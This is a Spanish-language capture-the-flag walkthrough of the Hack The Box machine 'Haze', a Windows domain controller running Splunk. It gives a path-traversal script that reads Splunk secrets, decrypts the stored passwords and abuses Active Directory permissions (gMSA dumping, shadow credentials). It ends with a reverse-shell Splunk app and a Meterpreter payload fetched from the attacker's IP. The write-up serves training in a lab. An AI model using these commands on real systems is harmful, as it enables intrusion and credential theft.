Haze



Enumeración:

       │ File: targeted
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.95 scan initiated Sun Jun 15 00:16:18 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,
       │ 8000,8088,8089,9389,47001,49664,49665,49666,49667,49668,63952,63953,63954,63961,63983,63994,64076,65290 -oN targeted 10.10.11.61
   2   │ Nmap scan report for 10.10.11.61
   3   │ Host is up (0.40s latency).
   4   │ 
   5   │ PORT      STATE SERVICE       VERSION
   6   │ 53/tcp    open  domain        Simple DNS Plus
   7   │ 88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-15 08:16:27Z)
   8   │ 135/tcp   open  msrpc         Microsoft Windows RPC
   9   │ 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
  10   │ 389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
  11   │ |_ssl-date: TLS randomness does not represent time
  12   │ | ssl-cert: Subject: commonName=dc01.haze.htb
  13   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
  14   │ | Not valid before: 2025-03-05T07:12:20
  15   │ |_Not valid after:  2026-03-05T07:12:20
  16   │ 445/tcp   open  microsoft-ds?
  17   │ 464/tcp   open  kpasswd5?
  18   │ 593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
  19   │ 636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
  20   │ |_ssl-date: TLS randomness does not represent time
  21   │ | ssl-cert: Subject: commonName=dc01.haze.htb
  22   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
  23   │ | Not valid before: 2025-03-05T07:12:20
  24   │ |_Not valid after:  2026-03-05T07:12:20
  25   │ 3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
  26   │ |_ssl-date: TLS randomness does not represent time
  27   │ | ssl-cert: Subject: commonName=dc01.haze.htb
  28   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
  29   │ | Not valid before: 2025-03-05T07:12:20
  30   │ |_Not valid after:  2026-03-05T07:12:20
  31   │ 3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
  32   │ | ssl-cert: Subject: commonName=dc01.haze.htb
  33   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
  34   │ | Not valid before: 2025-03-05T07:12:20
  35   │ |_Not valid after:  2026-03-05T07:12:20
  36   │ |_ssl-date: TLS randomness does not represent time
  37   │ 5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  38   │ |_http-server-header: Microsoft-HTTPAPI/2.0
  39   │ |_http-title: Not Found
  40   │ 8000/tcp  open  http          Splunkd httpd
  41   │ | http-robots.txt: 1 disallowed entry 
  42   │ |_/
  43   │ |_http-server-header: Splunkd
  44   │ | http-title: Site doesn't have a title (text/html; charset=UTF-8).
  45   │ |_Requested resource was http://10.10.11.61:8000/en-US/account/login?return_to=%2Fen-US%2F
  46   │ 8088/tcp  open  ssl/http      Splunkd httpd
  47   │ | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
  48   │ | Not valid before: 2025-03-05T07:29:08
  49   │ |_Not valid after:  2028-03-04T07:29:08
  50   │ |_http-server-header: Splunkd
  51   │ |_http-title: 404 Not Found
  52   │ | http-robots.txt: 1 disallowed entry 
  53   │ |_/
  54   │ 8089/tcp  open  ssl/http      Splunkd httpd
  55   │ |_http-server-header: Splunkd
  56   │ | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
  57   │ | Not valid before: 2025-03-05T07:29:08
  58   │ |_Not valid after:  2028-03-04T07:29:08
  59   │ |_http-title: splunkd
  60   │ | http-robots.txt: 1 disallowed entry 
  61   │ |_/
  62   │ 9389/tcp  open  mc-nmf        .NET Message Framing
  63   │ 47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  64   │ |_http-title: Not Found
  65   │ |_http-server-header: Microsoft-HTTPAPI/2.0
  66   │ 49664/tcp open  msrpc         Microsoft Windows RPC
  67   │ 49665/tcp open  msrpc         Microsoft Windows RPC
  68   │ 49666/tcp open  msrpc         Microsoft Windows RPC
  69   │ 49667/tcp open  msrpc         Microsoft Windows RPC
  70   │ 49668/tcp open  msrpc         Microsoft Windows RPC
  71   │ 63952/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
  72   │ 63953/tcp open  msrpc         Microsoft Windows RPC
  73   │ 63954/tcp open  msrpc         Microsoft Windows RPC
  74   │ 63961/tcp open  msrpc         Microsoft Windows RPC
  75   │ 63983/tcp open  msrpc         Microsoft Windows RPC
  76   │ 63994/tcp open  msrpc         Microsoft Windows RPC
  77   │ 64076/tcp open  msrpc         Microsoft Windows RPC
  78   │ 65290/tcp open  msrpc         Microsoft Windows RPC
  79   │ Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
  80   │ 
  81   │ Host script results:
  82   │ | smb2-time: 
  83   │ |   date: 2025-06-15T08:17:30
  84   │ |_  start_date: N/A
  85   │ |_clock-skew: 7h59m59s
  86   │ | smb2-security-mode: 
  87   │ |   3:1:1: 
  88   │ |_    Message signing enabled and required
  89   │ 
  90   │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  91   │ # Nmap done at Sun Jun 15 00:17:47 2025 -- 1 IP address (1 host up) scanned in 88.79 seconds

Se pueden ver varios puertos http entramos al 8000:

Buscamos un exploit para splunk:

Como resultado pudimos extrar los hashes:

❌ Intentar romper los hashes (no se puede)

 john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash_list.txt

Path Traversal

Buscaste el archivo de autenticación de Splunk (authentication.conf) usando Path Traversal

Un script en bash para automatizar la lectura de archivos críticos de Splunk explotando path traversal usando curl:

#!/bin/bash

# URL base del objetivo
BASE_URL="http://haze.htb:8000/en-US/modules/messaging"

# Lista de rutas críticas de Splunk que queremos leer
FILES=(
  "C:/Program Files/Splunk/etc/system/local/server.conf"
  "C:/Program Files/Splunk/etc/system/local/authentication.conf"
  "C:/Program Files/Splunk/var/log/splunk/splunkd.log"
)

# Cantidad de ../ necesarios para el path traversal
PREFIX=$(printf 'C:../%.0s' {1..15})  # Puedes ajustar este número si no carga

# Carpeta de salida
mkdir -p dumps

echo "[+] Iniciando path traversal y descarga de archivos..."

for FILE in "${FILES[@]}"; do
    # Codificamos espacios
    ENCODED_FILE=$(echo "$FILE" | sed 's/ /%20/g')

    FULL_URL="${BASE_URL}/${PREFIX}${ENCODED_FILE}"

    OUT_NAME=$(basename "$FILE")
    OUT_PATH="dumps/${OUT_NAME}"

    echo "[*] Descargando $FILE"
    curl -s "$FULL_URL" -o "$OUT_PATH"

    if [[ -s "$OUT_PATH" ]]; then
        echo "[+] Guardado en $OUT_PATH"
    else
        echo "[-] Falló o archivo vacío: $FULL_URL"
        rm -f "$OUT_PATH"
    fi
done

echo "[+] Proceso finalizado."

Revisar authentication.conf:

cat dumps/authentication.conf | grep -i 'password' -A 3

Decrypt del hash Splunk

Desencriptar con splunksecrets

git clone https://github.com/HurricaneLabs/splunksecrets.git
cd splunksecrets
python3 -m venv venv
source venv/bin/activate
pip install splunksecrets

Exfiltras splunk.secret desde el servidor vulnerable a un archivo llamado splunk.secret :

curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret" -o splunk.secret

Desencriptas usando splunksecrets:

Ya con el hash $7$... que sacaste antes:

splunksecrets splunk-decrypt -S splunk.secret

Te pedirá que ingreses el hash (ejemplo):

Enter the Splunk encrypted string (starts with $7$): $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=

Y te devolverá la contraseña en texto claro:

Ld@p_Auth_Sp1unk@2k24

user: Paul Taylor
password: Ld@p_Auth_Sp1unk@2k24

Obtener los usuarios del dominio mediante SMB

nxc smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute

Filtro para obtener solo los usuarios con el comando:

nxc smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute | grep "SidTypeUser" | awk -F '\\' '{print $2}' | awk '{print $1}' > users.txt

Verificar acceso con WinRM usando ncx:

nxc winrm 10.10.11.61 -u users.txt -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htbtb
Pwn3d

Acceder a la máquina con Evil-WinRM:

Con el usuario mark.adams y la contraseña Ld@p_Auth_Sp1unk@2k24, accediste a la máquina usando evil-winrm:

evil-winrm -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -i haze.htb

Una herramienta para enumerar y mapear relaciones de permisos en un entorno de Active Directory (AD) con el fin de realizar una auditoría de seguridad.

python3 bloodhound.py -d haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 -c ALL --zip -ns 10.10.11.61

GMSA_MANAGERS - gMSA

🧠 Concepto clave: ¿Qué hace el grupo GMSA_MANAGERS?

El grupo GMSA_MANAGERS (o cualquier grupo configurado para leer contraseñas de cuentas gMSA) puede obtener la contraseña de la cuenta gMSA, desde cualquier máquina del dominio, siempre que:

✅ Se cumplan estas condiciones:

  1. El grupo tiene permisos explícitos en el atributo PrincipalsAllowedToRetrieveManagedPassword de la cuenta gMSA.

  2. El usuario pertenece a ese grupo.

  3. El usuario tiene acceso de red al DC (Domain Controller).

  4. gMSADumper u otro método (como PowerView) puede ser ejecutado con credenciales válidas.

Repositorio

Explotar correctamente una vulnerabilidad por mal manejo de gMSA

 python3 gMSADumper.py -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb -l dc01.haze.htb

Esto significa que mark.adams puede directamente leer la contraseña de la cuenta Haze-IT-Backup$, lo cual normalmente solo debería estar permitido a controladores de dominio o servicios específicos.


Set-ADServiceAccount -Identity Haze-IT-Backup$ -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"

Con eso, agregaste tu usuario a la lista de entidades autorizadas a leer la contraseña de la gMSA — esto es abuso de delegación, y si no estás autorizado a hacerlo, es una escalada de privilegios en sí misma.


 python3 gMSADumper.py -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb -l haze.htb

Lo lanzamos de nuevo.


El usuario mark.adams ahora está correctamente autorizado para leer la contraseña de Haze-IT-Backup$, de forma persistente, sin necesidad de repetir el Set-ADServiceAccount.


Obtener TGT con getTGT.py

getTGT.py haze.htb/Haze-IT-Backup$ -hashes :4de830d1d58c14e241aff55f82ecdba1

Autenticación Kerberos sin contraseña, usando el hash NTLM del equipo Haze-IT-Backup$.


Exportar ticket Kerberos al entorno

export KRB5CCNAME=Haze-IT-Backup$.ccache

Le dice al sistema que use ese TGT (archivo .ccache) como autenticación predeterminada para herramientas como bloodyAD.


Tomar propiedad del objeto SUPPORT_SERVICES

bloodyAD --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -k set owner "SUPPORT_SERVICES" "Haze-IT-Backup$"

Cambia el propietario del objeto SUPPORT_SERVICES a la máquina Haze-IT-Backup$.


Asignar GenericAll al objeto

bloodyAD --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -k add genericAll "CN=SUPPORT_SERVICES,CN=Users,DC=haze,DC=htb" "Haze-IT-Backup$"

Da control total (GenericAll) sobre el objeto SUPPORT_SERVICES a Haze-IT-Backup$.

✅ Esto permite modificar miembros del grupo, cambiar atributos, agregar usuarios, etc.


Agregar la cuenta Haze-IT-Backup$ al grupo SUPPORT_SERVICES

bloodyAD --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -k add groupMember "SUPPORT_SERVICES" "Haze-IT-Backup$"

Agrega la máquina al grupo SUPPORT_SERVICES. Si este grupo tiene privilegios especiales, ahora tú también los tienes.


Inyectar Shadow Credentials a Edward Martin

bloodyAD --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':4de830d1d58c14e241aff55f82ecdba1' add shadowCredentials "edward.martin"

Crea un objeto KeyCredential en el usuario edward.martin apuntando a un nuevo certificado, inyectando persistencia silenciosa.

📦 Resultado:

  • Se generaron 2 archivos:

    • aPoCo9lW_cert.pem (certificado)

    • aPoCo9lW_priv.pem (clave privada)


Crear archivo .pfx con OpenSSL

openssl pkcs12 -export -out edward.pfx -inkey aPoCo9lW_priv.pem -in aPoCo9lW_cert.pem

Contraseña usada: pa$$w0rd


Autenticarse con certipy usando el .pfx

certipy-ad auth -pfx edward.pfx -password 'pa$$w0rd' -u 'edward.martin' -domain haze.htb -dc-ip 10.10.11.61
  • Obtuviste un TGT (ticket de autenticación Kerberos)

  • Se guardó en: edward.martin.ccache

  • Se recuperó el NTLM hash: aad3b435b51404eeaad3b435b51404ee:09e0b3eeb2e7a6b0d419e9ff8f4d91af


Acceso remoto con Evil-WinRM:

evil-winrm -i 10.10.11.61 -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af

Shell interactiva como edward.martin 🎉


Escalada de Privilegios en haze.htb:


Revisión de respaldos Splunk

Lo descargamos

Extracción en máquina atacante

  • Se detectó el archivo splunk.secret

  • Se encontró un password cifrado en authentication.con

  • Lo que necesitamos:

bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=

splunk.secret2


Desencriptar password del usuario de Splunk

splunksecrets splunk-decrypt -S splunk.secret2

Ciphertext: $1$YDz8WfhoCWmf6aTRkA+QqUI=
Sp1unkadmin@2k24

Entramos a la web que corre por el puerto 8080:

Credenciales:

  • Usuario: admin

  • Contraseña: Sp1unkadmin@2k24


Tenemos una apartado para subir archivos:


Cargar reverse shell mediante app maliciosa

  • Clonar repositorio:

git clone https://github.com/0xjpuff/reverse_shell_splunk
cd reverse_shell_splunk/reverse_shell_splunk/bin
  • Modificar archivos run.ps1 y rev.py con tu IP tun0:


  • Empaquetar de nuevo si hiciste cambios en un archivo .spl

cd ~/machine/Haze/exploits/reverse_shell_splunk/
tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
mv reverse_shell_splunk.tgz reverse_shell_splunk.spl

Subimos el arhivo y tenemos conexión:


Post-Explotación y Privilege Escalation

SeImpersonatePrivilege


  • SeImpersonatePrivilege : Enabled


⚙️ Generamos un payload Meterpreter:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.98 LPORT=5555 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
  • Descargamos el payload en el objetivo

    Desde la reverse shell como alexander.green:

python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.61 - - [16/Jun/2025 04:56:10] "GET /shell.exe HTTP/1.1" 200 -
  • Victima:

iwr http://10.10.16.7/shell.exe -OutFile C:\Users\Public\shell.exe
cd C:\Users\Public\
.\shell.exe

Metasploit Listener

  • Levantamos un handler en Metasploit:

msfconsole -x "use exploit/multi/handler; \
set payload windows/x64/meterpreter/reverse_tcp; \
set LHOST [IP]; \
set LPORT [PUERTO]; \
run"
  • Una vez ejecutado la sheel.exe en la maquina vicitma:

🔐 Recibimos la sesión en Meterpreter

Ya en Metasploit, deberías ver:

Meterpreter session 1 opened
meterpreter > getsystem
meterpreter > getuid
meterpreter > type C:\Users\Administrator\Desktop\root.txt

Last updated